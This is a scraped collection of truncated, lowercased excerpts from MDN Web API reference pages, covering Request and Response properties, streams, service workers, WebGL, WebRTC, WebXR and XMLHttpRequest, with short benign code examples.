RTCRtpSender.getCapabilities() static function - Web APIs
unction, this is always called using the form: capabilities = rtcrtpsender.getcapabilities("audio"); the returned set of capabilities is the most optimistic possible list. it is entirely possible that certain combinations of options may fail to work when you actually try to use them. calling rtcrtpsender.getcapabilities() doesn't prime the browser in any way to handle media. nothing is loaded, fetched, or otherwise prepared. it's simply a means of determining what might be usable before starting to try to access media. because the set of capabilities available tend to be stable for a length of time (people don't install and uninstall codecs and the like very often), the media capabilities can in whole or in part provide a cross-origin method for identifying a user. for that reason, in priva...
ReadableStream.pipeTo() - Web APIs
ing the source. signal: if set to an abortsignal object, ongoing pipe operations can then be aborted via the corresponding abortcontroller. return value a promise that resolves when the piping process has completed. exceptions typeerror the writablestream and/or readablestream objects are not a writable stream/readable stream, or one or both of the streams are locked. examples // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(body => body.pipethrough(new pngtransformstream())) .then(rs => rs.pipeto(new finaldestinationstream())) specifications specification status comment streamsthe definition of 'pipeto()' in that specification. living standard initial definition. ...
ReadableStreamDefaultController.close() - Web APIs
livin...
ReadableStreamDefaultController.enqueue() - Web APIs
liv...
ReadableStreamDefaultController - Web APIs
interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment streamsthe definition of 'readablestreamdefaultcontroller' in that...
ReadableStreamDefaultReader.releaseLock() - Web APIs
ing read request, i.e., if a promise returned by the reader’s readablestreamdefaultreader.read() method has not finished. this will result in a typeerror being thrown. syntax readablestreamdefaultreader.releaselock(); parameters none. return value undefined. exceptions typeerror the source object is not a readablestreamdefaultreader, or a read request is pending. examples function fetchstream() { const reader = stream.getreader(); ... reader.releaselock() ... } specifications specification status comment streamsthe definition of 'releaselock()' in that specification. living standard initial definition. ...
Request.clone() - Web APIs
Web › API › Request › clone
was called on. example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then clone the request. var myrequest = new request('flowers.jpg'); var newrequest = myrequest.clone(); // a copy of the request is now stored in newrequest specifications specification status comment fetchthe definition of 'clone' in that specification. living standard initial definition ...
Request.context - Web APIs
Web › API › Request › context
the deprecated context read-only property of the request interface contains the context of the request (e.g., audio, image, iframe). this defines what sort of resource is being fetched. this has been replaced by the destination property. the context of a request is only relevant in the serviceworker api; a service worker can make decisions based on whether the url is for an image, or an embeddable object such as a <video>, iframe, etc. note: you can find a full list of the different available contexts including associated context frame types, csp directives, and platform feature examples in the fetch spec request context section. syntax var mycontext = request.context; value a requestcontext value. example in the following snippet, we create a new request using the request.request(...
Request.credentials - Web APIs
f two. example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request credentials in a variable: var myrequest = new request('flowers.jpg'); var mycred = myrequest.credentials; // returns "same-origin" by default specifications specification status comment fetchthe definition of 'credentials' in that specification. living standard initial definition ...
Request.destination - Web APIs
"audioworklet". example in the following snippet, we create a new request using the request() constructor (for an image file in the same directory as the script), then save the request's destination: var myrequest = new request('flowers.jpg'); var mydestination = myrequest.destination; // returns the empty string by default specifications specification status comment fetchthe definition of 'destination' in that specification. living standard initial definition ...
Request.headers - Web APIs
Web › API › Request › headers
living standard initial definition ...
Request.integrity - Web APIs
Web › API › Request › integrity
specified, the property returns ''. example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request integrity value in a variable: var myrequest = new request('flowers.jpg'); var myintegrity = myrequest.integrity; specifications specification status comment fetchthe definition of 'integrity' in that specification. living standard initial definition ...
Request.method - Web APIs
Web › API › Request › method
ndicating the method of the request. example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the method of the request in a variable: var myrequest = new request('flowers.jpg'); var mymethod = myrequest.method; // get specifications specification status comment fetchthe definition of 'method' in that specification. living standard initial definition ...
Request.mode - Web APIs
Web › API › Request › mode
bed>, or <iframe> elements. example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request mode in a variable: var myrequest = new request('flowers.jpg'); var mymode = myrequest.mode; // returns "cors" by default specifications specification status comment fetchthe definition of 'mode' in that specification. living standard initial definition ...
Request.redirect - Web APIs
Web › API › Request › redirect
ted, it takes the default value of follow. example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request redirect value in a variable: var myrequest = new request('flowers.jpg'); var mycred = myrequest.redirect; specifications specification status comment fetchthe definition of 'redirect' in that specification. living standard initial definition ...
Request.referrer - Web APIs
Web › API › Request › referrer
ferrer. example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrer; // returns "about:client" by default specifications specification status comment fetchthe definition of 'referrer' in that specification. living standard initial definition ...
Request.referrerPolicy - Web APIs
page. example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer policy in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrerpolicy; // returns "" by default specifications specification status comment fetchthe definition of 'referrerpolicy' in that specification. living standard initial definition ...
Request.url - Web APIs
Web › API › Request › url
request. syntax var myurl = request.url; value a usvstring indicating the url of the request. example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the url of the request in a variable: var myrequest = new request('flowers.jpg'); var myurl = myrequest.url; // "http://mdn.github.io/fetch-examples/fetch-request/flowers.jpg" specifications specification status comment fetchthe definition of 'url' in that specification. living standard initial definition ...
Response.error() - Web APIs
Web › API › Response › error
the error() method of the response interface returns a new response object associated with a network error. note: this is mainly relevant to serviceworkers; the error method is used to return an error if you so wish it. an error response has its type set to error. note: an "error" response never really gets exposed to script: such a response to a fetch() would reject the promise. syntax var errorresponse = response.error(); parameters none. return value a response object. example tbd (does not yet appear to be supported anywhere). specifications specification status comment fetchthe definition of 'error()' in that specification. living standard ...
Response.redirect() - Web APIs
Web › API › Response › redirect
optional status code for the response (e.g., 302.) return value a response object. exceptions exception explanation rangeerror the specified status is not a redirect status. typeerror the specified url is invalid. example responseobj.redirect('https://www.example.com', 302); specifications specification status comment fetchthe definition of 'redirect()' in that specification. living standard ...
Response.useFinalURL - Web APIs
nalurl property of the response interface contains a boolean stating whether this is the final url of the response. this property applies only to serviceworkers. in other contexts it will return undefined. syntax var isfinalurl = response.usefinalurl; value a boolean indicating whether or not the url is final rather than a redirect. example consider a script residing in page index.html: fetch('/test').then((r) => console.log(r.url)) test.html is being controlled by the service worker sw.js: onfetch = (e) => { e.respondwith(fetch('/page2').then((r) => { r.usefinalurl = true; return r; }) } the output will be /page2 and not /test in index.html, since setting the usefinalurl means that the response's url is not set to request's url. ...
Screen Wake Lock API - Web APIs
or example, a ticketing app which uses qr codes to transmit ticket information, might acquire screen wake lock when the qr code is displayed (so that code is successfully scanned) but release afterwards. a presentation app might hold the lock only while a presentation is active, but not when presentation is being edited. if your app is performing long-running downloads, consider using background fetch. if you app is synchronizing data from a remote server, consider using background sync. only active documents can acquire screen wake locks and previously acquired locks are automatically released when document becomes inactive. therefore make sure to re-acquire screen wake lock if necessary when document becomes active (listen for visibilitychange event). feature policy integration access t...
ServiceWorker - Web APIs
viceworkerregistration.active property, and the serviceworkercontainer.controller property — this is a service worker that has been activated and is controlling the page (the service worker has been successfully registered, and the controlled page has been reloaded.) the serviceworker interface is dispatched a set of lifecycle events — install and activate — and functional events including fetch. a serviceworker object has an associated serviceworker.state, related to its lifecycle. properties the serviceworker interface inherits properties from its parent, worker. serviceworker.scripturl read only returns the serviceworker serialized script url defined as part of serviceworkerregistration. the url must be on the same origin as the document that registers the serviceworker. servi...
ServiceWorkerContainer: message event - Web APIs
the message event is used in a page controlled by a service worker to receive messages from the service worker. bubbles no cancelable no interface messageevent event handler property onmessage examples in this example the service worker get the client's id from a fetch event and then sends it a message using client.postmessage: // in the service worker async function messageclient(clientid) { const client = await clients.get(clientid); client.postmessage('hi client!'); } addeventlistener('fetch', (event) => { messageclient(event.clientid); event.respondwith(() => { // ... }); }); the client can receive the message by listening to the message event: // in the page being controlled navigator.serviceworker.adde...
ServiceWorkerGlobalScope.onpushsubscriptionchange - Web APIs
e push service sets an expiration time a subscription. syntax serviceworkerglobalscope.onpushsubscriptionchange = function() { ... } self.addeventlistener('pushsubscriptionchange', function() { ... }) example self.addeventlistener('pushsubscriptionchange', function() { // do something, usually resubscribe to push and // send the new subscription details back to the // server via xhr or fetch }); specifications specification status comment push apithe definition of 'onpushsubscriptionchange' in that specification. working draft initial definition (note: this event is specified in the push api, but accessed through serviceworkerglobalscope.) ...
SourceBuffer.abort() - Web APIs
, function (_) { ... }); sourcebuffer.appendbuffer(buf); let's say that after the call to appendbuffer but before the updateend event fires (i.e. a buffer is being appended but the operation has not yet completed) a user "scrubs" the video seeking to a new point in time. in this case you would want to manually call abort() on the source buffer to stop the decoding of the current buffer, then fetch and append the newly requested segment that relates to the current new position of the video. you can see something similar in action in nick desaulnier's bufferwhenneeded demo — in line 48, an event listener is added to the playing video so a function called seek() is run when the seeking event fires. in lines 92-101, the seek() function is defined — note that abort() is called if mediasour...
SourceBuffer - Web APIs
source(); //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); } function fetchab (url, cb) { console.log(url); var xhr = new xmlhttprequest; xhr.open('get', url); xhr.responsetype = 'arraybuffer'; xhr.o...
TextTrack.mode - Web APIs
Web › API › TextTrack › mode
nd. this is the default value if the text track's default boolean attribute is specified. usage notes the default mode is disabled, unless the default boolean attribute is specified, in which case the default mode is showing. when a text track is loaded in the disabled state, the corresponding webvtt file is not loaded until the state changes to either showing or hidden. this way, the resource fetch and memory usage are avoided unless the cues are actually needed. however, that means that if you wish to perform any actions involving the track's cues while handling, for example, the load event—in order to process some aspect of the cues upon page load—and the track mode was initially disabled, you'll have to change the mode to either hidden or showing in order to trigger loading of the c...
TextTrackList.onremovetrack - Web APIs
moved from the media element's texttracklist. note: you can also add a handler for the removetrack event using addeventlistener(). syntax texttracklist.onremovetrack = eventhandler; value set onremovetrack to a function that accepts as input a trackevent object which indicates in its track property which text track has been removed from the media element. example this simple example just fetches the current number of text tracks in the first media element whenever a track is removed from the media element. document.queryselectorall("video, audio")[0].texttracks.onremovetrack = function(event) { mytrackcount = document.queryselectorall("video, audio")[0].texttracks.length; }; the current number of text tracks remaining in the media element is obtained from texttracklist property le...
URL - Web APIs
Web › API › URL
e url query string. to get the search params from the current window's url, you can do this: // https://some.site/?id=123 const parsedurl = new url(window.location.href); console.log(parsedurl.searchparams.get("id")); // "123" the tostring() method of url just returns the value of the href property, so the constructor can be used to normalize and encode a url directly. const response = await fetch(new url('http://www.example.com/démonstration.html')); specifications specification status comment file apithe definition of 'url' in that specification. working draft added the static methods url.createobjecturl() and url.revokeobjecturl(). urlthe definition of 'api' in that specification. living standard initial definition (implements urlutils...
URL API - Web APIs
Web › API › URL API
ified. more interesting to most developers is the api itself. accessing url components creating an url object for a given url parses the url and provides quick access to its constituent parts through its properties. let addr = new url("/docs/web/api/url_api"); let host = addr.host; let path = addr.pathname; the snippet above creates a url object for the article you're reading right now, then fetches the host and pathname properties. in this case, those strings are developer.mozilla.org and /docs/web/api/url_api, respectively. changing the url most of the properties of url are settable; you can write new values to them to alter the url represented by the object. for example, to create a url and set its username: let myusername = "someguy"; let addr = new url("https://mysite.com/login"); ...
VideoTrackList.onremovetrack - Web APIs
ed from the media element's videotracklist. note: you can also add a handler for the removetrack event using addeventlistener(). syntax videotracklist.onremovetrack = eventhandler; value set onremovetrack to a function that accepts as input a trackevent object which indicates in its track property which video track has been removed from the media element. example this simple example just fetches the current number of video tracks in the media element whenever a track is removed from the media element. document.queryselector("my-video").videotracks.onremovetrack = function(event) { mytrackcount = document.queryselector("my-video").videotracks.length; }; the current number of video tracks remaining in the media element is obtained from videotracklist property length. specifications...
WebGLRenderingContext.getUniformLocation() - Web APIs
l.uniform2fv(uscalingfactor, currentscale); gl.uniform2fv(urotationvector, currentrotation); gl.uniform4fv(uglobalcolor, [0.1, 0.7, 0.2, 1.0]); this code snippet is taken from the function animatescene() in "a basic 2d webgl animation example." see that article for the full sample and to see the resulting animation in action. after setting the current shading program to shaderprogram, this code fetches the three uniforms "uscalingfactor", "uglobalcolor", and "urotationvector", calling getuniformlocation() once for each uniform. then the three uniforms' values are set: the uscalingfactor uniform — a 2-component vertex — receives the horizontal and vertical scaling factors from the variable currentscale. the uniform urotationvector is set to the contents of the variable currentrotation...
A basic 2D WebGL animation example - Web APIs
then a new shader of the specified type is created using gl.createshader(). the source code is sent into the new shader by passing it into gl.shadersource(), and then the shader is compiled using gl.compileshader() compile errors are logged to the console. note the use o...
Compressed texture formats - Web APIs
? ...
Lighting in WebGL - Web APIs
the only thing left is to look up the location of the avertexnormal attribute and the unormalmatrix uniform. const programinfo = { program: shade...
Using shaders to apply color in WebGL - Web APIs
} `; the key difference here is that for each vertex, we pass its color using a varying to the fragment shader. coloring the fragments as a refresher, here's what our fragment shader looked like previously: const fssource = ` void main() { gl_fragcolor = vec4(1.0, 1.0, 1.0, 1.0); } `; in order to pick up the interpolated color for each pixel, we need to change this to fetch the value from the vcolor varying: const fssource = ` varying lowp vec4 vcolor; void main(void) { gl_fragcolor = vcolor; } `; each fragment receives the interpolated color based on its position relative to the vertex positions instead of a fixed value. drawing using the colors next, it's necessary to add code to look up the attribute location for the colors and setup t...
Signaling and video calling - Web APIs
racks your code receives a removetrack event when the remote peer removes a track from the connection by calling rtcpeerconnection.removetrack(). our handler for "removetrack" is: function handleremovetrackevent(event) { var stream = document.getelementbyid("received_video").srcobject; var tracklist = stream.gettracks(); if (tracklist.length == 0) { closevideocall(); } } this code fetches the incoming video mediastream from the "received_video" <video> element's srcobject attribute, then calls the stream's gettracks() method to get an array of the stream's tracks. if the array's length is zero, meaning there are no tracks left in the stream, we end the call by calling closevideocall(). this cleanly restores our app to a state in which it's ready to start or receive another call...
A simple RTCDataChannel sample - Web APIs
nnelevent. sending messages when the user presses the "send" button, the sendmessage() method we've established as the handler for the button's click event is called. that method is simple enough: function sendmessage() { var message = messageinputbox.value; sendchannel.send(message); messageinputbox.value = ""; messageinputbox.focus(); } first, the text of the message is fetched from the input box's value attribute. this is then sent to the remote peer by calling sendchannel.send(). that's all there is to it! the rest of this method is just some user experience sugar -- the input box is emptied and re-focused so the user can immediately begin typing another message. receiving messages when a "message" event occurs on the remote channel, our handlereceivemessage() met...
Using DTMF with WebRTC - Web APIs
tcpeerconnection.createoffer(). in this case, we state that we want to receive audio but not video. dialbutton and logelement these variables will be used to store references to the dial button and the <div> into which logging information will be written. they'll get set up when the page is first loaded. see initialization below. initialization when the page loads, we do some basic setup: we fetch references to the dial button and the log output box elements, and we use addeventlistener() to add an event listener to the dial button so that clicking it calls the connectanddial() function to begin the connection process. window.addeventlistener("load", function() { logelement = document.queryselector(".log"); dialbutton = document.queryselector("#dial"); dialbutton.addeventlistener("...
Starting up and shutting down a WebXR session - Web APIs
the overall webxr device suite available to you through the hardware and drivers available on the user's equipment. there is a global xrsystem object available for use by your document through the the navigator property xr, which returns the xrsystem object if suitable xr hardware is available for your use given the hardware available and your document's environment. thus the simplest code that fetches the xrsystem object is: const xr = navigator.xr; the value of xr will be null or undefined if webxr isn't available. webxr availability as a new and still in development api, webxr support is limited to specific devices and browsers; and even on those, it may not be enabled by default. there may be options available to allow you to experiment with webxr even if you don't have a compatible s...
Web Audio API best practices - Web APIs
mber of best practices — guidelines, tips, and tricks for working with the web audio api. loading sounds/files there are four main ways to load sound with the web audio api and it can be a little confusing as to which one you should use. when working with files, you are looking at either the grabbing the file from an htmlmediaelement (i.e. an <audio> or <video> element), or you're looking to fetch the file and decode it into a buffer. both are legitimate ways of working, however, it's more common to use the former when you are working with full-length tracks, and the latter when working with shorter, more sample-like tracks. media elements have streaming support out of the box. the audio will start playing when the browser determines it can load the rest of the file before playing finishe...
Example and tutorial: Simple synth keyboard - Web APIs
ement; } after creating the elements that will represent the key and its label, we configure the key's element by setting its class to "key" (which establishes its appearance). then we add data-* attributes which contain the key's octave (attribute data-octave), string representing the note to play (attribute data-note), and frequency (attribute data-frequency) in hertz. this will let us easily fetch that information as needed when handling events. making music playing a tone the playtone() function's job is to play a tone at the given frequency. this will be used by the handler for events triggering keys on the keyboard to start playing the appropriate notes. function playtone(freq) { let osc = audiocontext.createoscillator(); osc.connect(mastergainnode); let type = wavepicker.opt...
Functions and classes available to Web Workers - Web APIs
tomevent interface represents events initialized by an application for any purpose. 48 (48) (yes) (yes) (yes) domrequest and domcursor respectively, these objects represents an ongoing operation (with listeners for reacting to the operation completely successfully, or failing, for example), and an ongoing operation over a list of results. 41 (41) ? ? ? fetch the fetch spec provides an up-to-date definition of, and api for, fetching resources (e.g. across the network.) 39 (39) (mostly in 34 (34) behind pref, although a few features are later.) no support 42 41 behind pref 10.1 filereader this api allows asynchronous read of blob and file objects. 46 (46) no support (yes) no support filerea...
Window.devicePixelRatio - Web APIs
; } updatepixelratio(); matchmedia(mqstring).addlistener(updatepixelratio); the string mqstring is set up to be the media query itself. the media query, which begins as (resolution: 1dppx) (for standard displays) or (resolution: 2dppx) (for retina/hidpi displays), checks to see if the current display resolution matches a specific number of device dots per px. the updatepixelratio() function fetches the current value of devicepixelratio, then sets the innertext of the element pixelratiobox to a string which displays the ratio both as a percentage and as a raw decimal value with up to two decimal places. then the updatepixelratio() function is called once to display the starting value, after which the media query is created using matchmedia() and addeventlistener() is called to set up upda...
Window: popstate event - Web APIs
ce of events that occurs when the current history entry changes due to either the user navigating the site or the history being traversed programmatically. here, the transition is changing the current history entry to one we'll refer to as new-entry. the current page's session history stack entry will be referred to as current-entry. if new-entry doesn't currently contain an existing document, fetch the content and create its document before continuing. this will eventually send events such as domcontentloaded and load to the window containing the document, but the steps below will continue to execute in the meantime. if current-entry's title wasn't set using one of the history api methods (pushstate() or replacestate(), set the entry's title to the string returned by its document.title att...
Window - Web APIs
Web › API › Window
rglobalscope.cleartimeout() cancels the delayed execution set using windoworworkerglobalscope.settimeout(). windoworworkerglobalscope.createimagebitmap() accepts a variety of different image sources, and returns a promise which resolves to an imagebitmap. optionally the source is cropped to the rectangle of pixels originating at (sx, sy) with width sw, and height sh. windoworworkerglobalscope.fetch() starts the process of fetching a resource from the network. eventtarget.removeeventlistener removes an event listener from the window. windoworworkerglobalscope.setinterval() schedules a function to execute every time a given number of milliseconds elapses. windoworworkerglobalscope.settimeout() schedules a function to execute in a given amount of time. deprecated methods window.bac...
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
but before yielding control to the browser's event loop. return value undefined. examples self.queuemicrotask(() => { // function contents here }) taken from the queuemicrotask spec: myelement.prototype.loaddata = function (url) { if (this._cache[url]) { queuemicrotask(() => { this._setdata(this._cache[url]); this.dispatchevent(new event("load")); }); } else { fetch(url).then(res => res.arraybuffer()).then(data => { this._cache[url] = data; this._setdata(data); this.dispatchevent(new event("load")); }); } }; when queuemicrotask() isn't available the code below is basically a monkey-patch for queuemicrotask() for modern engines. it creates a microtask by using a promise that resolves immediately. if (typeof window.queuemicrotask !==...
WindowOrWorkerGlobalScope - Web APIs
rglobalscope.cleartimeout() cancels the delayed execution set using windoworworkerglobalscope.settimeout(). windoworworkerglobalscope.createimagebitmap() accepts a variety of different image sources, and returns a promise which resolves to an imagebitmap. optionally the source is cropped to the rectangle of pixels originating at (sx, sy) with width sw, and height sh. windoworworkerglobalscope.fetch() starts the process of fetching a resource from the network. windoworworkerglobalscope.queuemicrotask() enqueues a microtask—a short function to be executed after execution of the javascript code completes and control isn't being returned to a javascript caller, but before handling callbacks and other tasks. this lets your code run without interfering with other, possibly higher priority, c...
Worker - Web APIs
Web › API › Worker
worker/script") constructor. workers may themselves spawn new workers, as long as those workers are hosted at the same origin as the parent page. (note: nested workers are not yet implemented in webkit). not all interfaces and functions are available to scripts inside a worker. workers may use xmlhttprequest for network communication, but its responsexml and channel attributes are always null. (fetch is also available, with no such restrictions.) in firefox extensions, if you want to use workers with access to js-ctypes, use chromeworker object instead. constructors worker() creates a dedicated web worker that executes the script at the specified url. this also works for blob urls. properties inherits properties from its parent, eventtarget, and implements properties from abstractw...
WorkerGlobalScope - Web APIs
rglobalscope.cleartimeout() cancels the delayed execution set using windoworworkerglobalscope.settimeout(). windoworworkerglobalscope.createimagebitmap() accepts a variety of different image sources, and returns a promise which resolves to an imagebitmap. optionally the source is cropped to the rectangle of pixels originating at (sx, sy) with width sw, and height sh. windoworworkerglobalscope.fetch() starts the process of fetching a resource from the network. windoworworkerglobalscope.setinterval() schedules a function to execute every time a given number of milliseconds elapses. windoworworkerglobalscope.settimeout() schedules a function to execute in a given amount of time. deprecated methods workerglobalscope.close() discards any tasks queued in the workerglobalscope's event l...
XMLDocument.load() - Web APIs
Web › API › XMLDocument › load
document.load() is a part of an old version of the w3c dom level 3 load & save module. can be used with document.async to indicate whether the request is synchronous or asynchronous (the default). as of at least gecko 1.9, this no longer supports cross-site loading of documents (use xmlhttprequest or fetch() instead). examples var xmldoc = document.implementation.createdocument("", "test", null); function documentloaded (e) { alert(new xmlserializer().serializetostring(e.target)); // gives querydata.xml contents as string } xmldoc.addeventlistener("load", documentloaded, false); xmldoc.load('querydata.xml'); see also the load sample in the xml tests directory. (to test this functionality, create the files on your local disk or on a webserver rather than loading the load.html file f...
HTML in XMLHttpRequest - Web APIs
though it may not be as reliable as method 2 described below since it does not check the actual feature but an indication of that feature. method 2 there are two challenges to detecting exactly if a browser supports html parsing in xmlhttprequest. first, the detection result is obtained asynchronously, because html support is only available in the asynchronous mode. second, you have to actually fetch a test document over http, because testing with a data: url would end up testing data: url support at the same time. thus, to detect html support, a test html file is needed on the server. this test file is small and is not well-formed xml: <title>&amp;&<</title> if the file is named detect.html, the following function can be used for detecting html parsing support: function detecthtmlinxhr(c...
Synchronous and asynchronous requests - Web APIs
ker. this pattern can be useful, for example in order to interact with the server in the background, or to preload content. see using web workers for examples and details. adapting sync xhr use cases to the beacon api there are some cases in which the synchronous usage of xmlhttprequest is not replaceable, like during the unload, beforeunload, and pagehide events. you should consider using the fetch() api with the keepalive flag. when fetch with keepalive isn't available, you can consider using the navigator.sendbeacon() api, which can support these use cases while typically delivering a good ux. the following example shows theoretical analytics code that attempts to submit data to a server by using a synchronous xmlhttprequest in an unload handler. this results in the unloading of the page...
XMLHttpRequest() - Web APIs
zanon flag to true effectively resembles the anonxmlhttprequest() constructor described in older versions of the xmlhttprequest specification. const request = new xmlhttprequest(paramsdictionary); parameters (non-standard) objparameters there are two flags you can set: mozanon boolean: setting this flag to true will cause the browser not to expose the origin and user credentials when fetching resources. most important, this means that cookies will not be sent unless explicitly added using setrequestheader. mozsystem boolean: setting this flag to true allows making cross-site connections without requiring the server to opt-in using cors. requires setting mozanon: true, i.e. this can't be combined with sending cookies or other user credentials. this only works in privileged (revi...
XMLHttpRequest.getResponseHeader() - Web APIs
ue a bytestring representing the header's text value, or null if either the response has not yet been received or the header doesn't exist in the response. example in this example, a request is created and sent, and a readystatechange handler is established to look for the readystate to indicate that the headers have been received; when that is the case, the value of the content-type header is fetched. if the content-type isn't the desired value, the xmlhttprequest is canceled by calling abort(). var client = new xmlhttprequest(); client.open("get", "unicorns-are-teh-awesome.txt", true); client.send(); client.onreadystatechange = function() { if(this.readystate == this.headers_received) { var contenttype = client.getresponseheader("content-type"); if (contenttype != my_expected_t...
XMLHttpRequest.readyState - Web APIs
loading downloading; responsetext holds partial data. 4 done the operation is complete. unsent the xmlhttprequest client has been created, but the open() method hasn't been called yet. opened open() method has been invoked. during this state, the request headers can be set using the setrequestheader() method and the send() method can be called which will initiate the fetch. headers_received send() has been called and the response headers have been received. loading response's body is being received. if responsetype is "text" or empty string, responsetext will have the partial text response as it loads. done the fetch operation is complete. this could mean that either the data transfer has been completed successfully or failed. the state names are different...
XMLHttpRequest.response - Web APIs
ty responsetype string is treated the same as "text", the default type. arraybuffer the response is a javascript arraybuffer containing binary data. blob the response is a blob object containing the binary data. document the response is an html document or xml xmldocument, as appropriate based on the mime type of the received data. see html in xmlhttprequest to learn more about using xhr to fetch html content. json the response is a javascript object created by parsing the contents of received data as json. text the response is a text in a domstring object. ms-stream the response is part of a streaming download; this response type is only allowed for download requests, and is only supported by internet explorer. example this example presents a function, load(), which loads a...
XMLHttpRequest.responseType - Web APIs
ty responsetype string is treated the same as "text", the default type. arraybuffer the response is a javascript arraybuffer containing binary data. blob the response is a blob object containing the binary data. document the response is an html document or xml xmldocument, as appropriate based on the mime type of the received data. see html in xmlhttprequest to learn more about using xhr to fetch html content. json the response is a javascript object created by parsing the contents of received data as json. text the response is a text in a domstring object. ms-stream the response is part of a streaming download; this response type is only allowed for download requests, and is only supported by internet explorer. exceptions invalidaccesserror an attempt was made to change the...
XMLHttpRequestEventTarget - Web APIs
mlhttprequesteventtarget.onabort contains the function to call when a request is aborted and the abort event is received by this object. xmlhttprequesteventtarget.onerror contains the function to call when a request encounters an error and the error event is received by this object. xmlhttprequesteventtarget.onload contains the function to call when an http request returns after successfully fetching content and the load event is received by this object. xmlhttprequesteventtarget.onloadstart contains the function that gets called when the http request first begins loading data and the loadstart event is received by this object. xmlhttprequesteventtarget.onprogress contains the function that is called periodically with information about the progress of the request and the progress event...
XRSession: select event - Web APIs
bubbles yes cancelable no interface xrinputsourceevent event handler property onselect for details on how the selectstart, select, and selectend events work, and how you should react to them, see primary actions in inputs and input sources. examples the following example uses addeventlistener() to set up a handler for the select event. the handler fetches the pose representing the target ray for tracked-pointer inputs and sends the pose's transform to a function called myhandleselectwithray(). xrsession.addeventlistener("select", event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) {...
XRSession: selectend event - Web APIs
at's the same regardless of which of the three events is received. only after completing those tasks does the onselectionevent() function below dispatch the action out to a specialized function to handle things. after checking to ensure that the received event is a tracked-pointer event (the only kind we handle here), the target ray's pose is obtained using getpose(). if the target ray pose was fetched successfully, the code then uses the value of event property type to route control to an appropriate function to handle the event which arrived: for selectstart events, a mybegintracking() function is called with the target ray pose's matrix. the mybegintracking() function would presumably start the presentation of the object-dragging process, using the transform to perform a hit test, deter...
XRSession: selectstart event - Web APIs
at's the same regardless of which of the three events is received. only after completing those tasks does the onselectionevent() function below dispatch the action out to a specialized function to handle things. after checking to ensure that the received event is a tracked-pointer event (the only kind we handle here), the target ray's pose is obtained using getpose(). if the target ray pose was fetched successfully, the code then uses the value of event property type to route control to an appropriate function to handle the event which arrived: for selectstart events, a mybegintracking() function is called with the target ray pose's matrix. the mybegintracking() function would presumably start the presentation of the object-dragging process, using the transform to perform a hit test, deter...
XRSession: squeeze event - Web APIs
yes cancelable no interface xrinputsourceevent event handler property onsqueeze for details on how the squeezestart, squeeze, and squeezeend events work, and how you should react to them, see primary squeeze actions in inputs and input sources. examples the following example uses addeventlistener() to set up a handler for the squeeze event. the handler fetches the pose representing the target ray for tracked-pointer inputs and sends the pose's transform to a function called myhandlesqueezewithray(). this code treats the squeeze as an instantaneous action that doesn't involve tracking an ongoing activity. if you need to track a squeeze action that isn't instantaneous, listen for the squeezestart and squeezeend events to sense when the squeeze action ...
XRSession: squeezeend event - Web APIs
that's the same regardless of which of the three events is received. only after completing those tasks does the onsqueezeevent() function below dispatch the action out to a specialized function to handle things. after checking to ensure that the received event is a tracked-pointer event (the only kind we handle here), the target ray's pose is obtained using getpose(). if the target ray pose was fetched successfully, the code then uses the value of event property type to route control to an appropriate function to handle the event which arrived: for squeezestart events, a mybegintracking() function is called with the target ray pose's matrix. the mybegintracking() function would presumably start the presentation of the object-dragging process, using the transform to perform a hit test, dete...
XRSession: squeezestart event - Web APIs
that's the same regardless of which of the three events is received. only after completing those tasks does the onsqueezeevent() function below dispatch the action out to a specialized function to handle things. after checking to ensure that the received event is a tracked-pointer event (the only kind we handle here), the target ray's pose is obtained using getpose(). if the target ray pose was fetched successfully, the code then uses the value of event property type to route control to an appropriate function to handle the event which arrived: for squeezestart events, a mybegintracking() function is called with the target ray pose's matrix. the mybegintracking() function would presumably start the presentation of the object-dragging process, using the transform to perform a hit test, dete...
XRWebGLLayer.framebufferHeight - Web APIs
he height of the framebuffer, in pixels. you can get the width of the framebuffer using the framebufferwidth property. syntax let bufferheight = xrwebgllayer.framebufferheight; value the height in pixels of the xr device's framebuffer. each of the framebuffer's attachments (pixel, depth, color, and/or stencil buffers, for example) are all this many pixels tall. examples this snippet simply fetches the framebuffer's width and height for later use. let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebuffer); framewidth = gllayer.framebufferheight; frameheight = gllayer.framebufferheight; specifications specification status comment webxr device apithe definition of 'xrwebgllayer.framebufferheight' in that specification.
XRWebGLLayer.framebufferWidth - Web APIs
